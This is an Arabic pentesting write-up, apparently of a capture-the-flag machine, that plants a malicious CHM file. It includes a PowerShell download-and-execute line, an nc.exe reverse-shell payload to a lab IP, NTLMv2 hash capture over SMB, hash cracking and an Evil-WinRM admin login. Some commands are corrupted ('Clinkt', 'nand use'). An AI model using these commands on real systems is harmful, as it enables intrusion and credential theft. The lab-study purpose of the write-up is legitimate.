> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# رفع ملف والتقاط NTLMv2 ‏.chm

**استكشاف الدليل "docs":**/ في **ويندوز** الجذر، وجدنا **docs** مجلدًا يحتوي على ملف `note.txt` بالرسالة أدناه:

<figure><img src="/files/5bae22d5062c2b78336cb4c7cecbf11ae04b8093" alt=""><figcaption></figcaption></figure>

> مرحبًا كريس،
>
> مهاراتك في PHP سيئة جدًا. تواصل مع Yamitenshi حتى يعلّموك كيفية استخدامه، ثم أصلح الموقع لأن هناك العديد من الأخطاء. وآمل أيضًا أنك أعددت التوثيق لتطبيقنا الجديد. ضعه هنا عندما تنتهي.
>
> مع أطيب التحيات، / Sniper CEO. **البحث عن التوثيق في النظام:**/ بحثنا عن التوثيق الذي ذكره المدير التنفيذي ووجدناه في الدليل **Downloads** تحت الملف **instructions.chm**.

<figure><img src="/files/578c07293a1b10cddc6f4b5be12584615ec3c545" alt="" width="563"><figcaption></figcaption></figure>

### **إنشاء ملف CHM خبيث:**

بعد أن اكتشفنا أن المدير التنفيذي أراد مراجعة الملفات **CHM** في الدليل **docs**، بحثنا عبر الإنترنت عن كيفية إنشاء ملفات CHM خبيثة.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**تنزيل أداة HTML Help:**/ قمنا بتنزيل **HTML Help** واستخدمنا سكربت PowerShell لإنشاء ملف CHM خبيث

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

ثم قمنا بتعديل السكربت لتنفيذ أمر خبيث عن بُعد عبر **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="/files/ea8bad0baf781909ac8b8c30108e201b9955feb5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9c2115f7307bfed0ad8fd54d387f5804f2dcd3a9" alt="" width="563"><figcaption></figcaption></figure>

**حقن ملف CHM الخبيث في الدليل الهدف:**/ قمنا بإعداد خادم SMB على جهاز المهاجم الخاص بنا لنقل الملف الخبيث إلى جهاز ويندوز الهدف:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**الاتصال بمشاركة SMB من جهاز الضحية:**/ من جهاز ويندوز الهدف، قمنا بتركيب مشاركة SMB ونسخ الملف الخبيث `doc.chm`:

```powershell
nand use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**بدء مستمع شل عكسي:**/ بدأنا مستمعًا على جهاز المهاجم، بانتظار اتصال شل عكسي لتسجيل الدخول:

```bash
rlwrap nc -nlvp 443

```

<figure><img src="/files/5d6cef2cfcc37557467e2201d1ed2fae65520df1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aaa4ae49a4a82414242a0c473056a4d84427bf89" alt="" width="563"><figcaption></figcaption></figure>

**المشكلة التي واجهتنا:**/ على الرغم من فتح ملف CHM، لم نتلقَّ شلًا عكسيًا. ومع ذلك، نجحنا في التقاط **SMB Relay V2** على خادمنا. وقد وفّر ذلك تجزئة مصادقة للمستخدم `Administrator`

<figure><img src="/files/239467fa73ad95e33da729054e62f782e599ada0" alt=""><figcaption></figcaption></figure>

#### **كسر تجزئة المسؤول:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="/files/e128bccd9a24cdde993996300d1576abce80e749" alt=""><figcaption></figcaption></figure>

#### **الاتصال كمسؤول:**

باستخدام بيانات الاعتماد التي حصلنا عليها، استخدمنا **Evil-WinRM** للاتصال بالجهاز كمسؤول:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="/files/a9286b775e77b56d77d63daf6565e6e753ae8d94" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
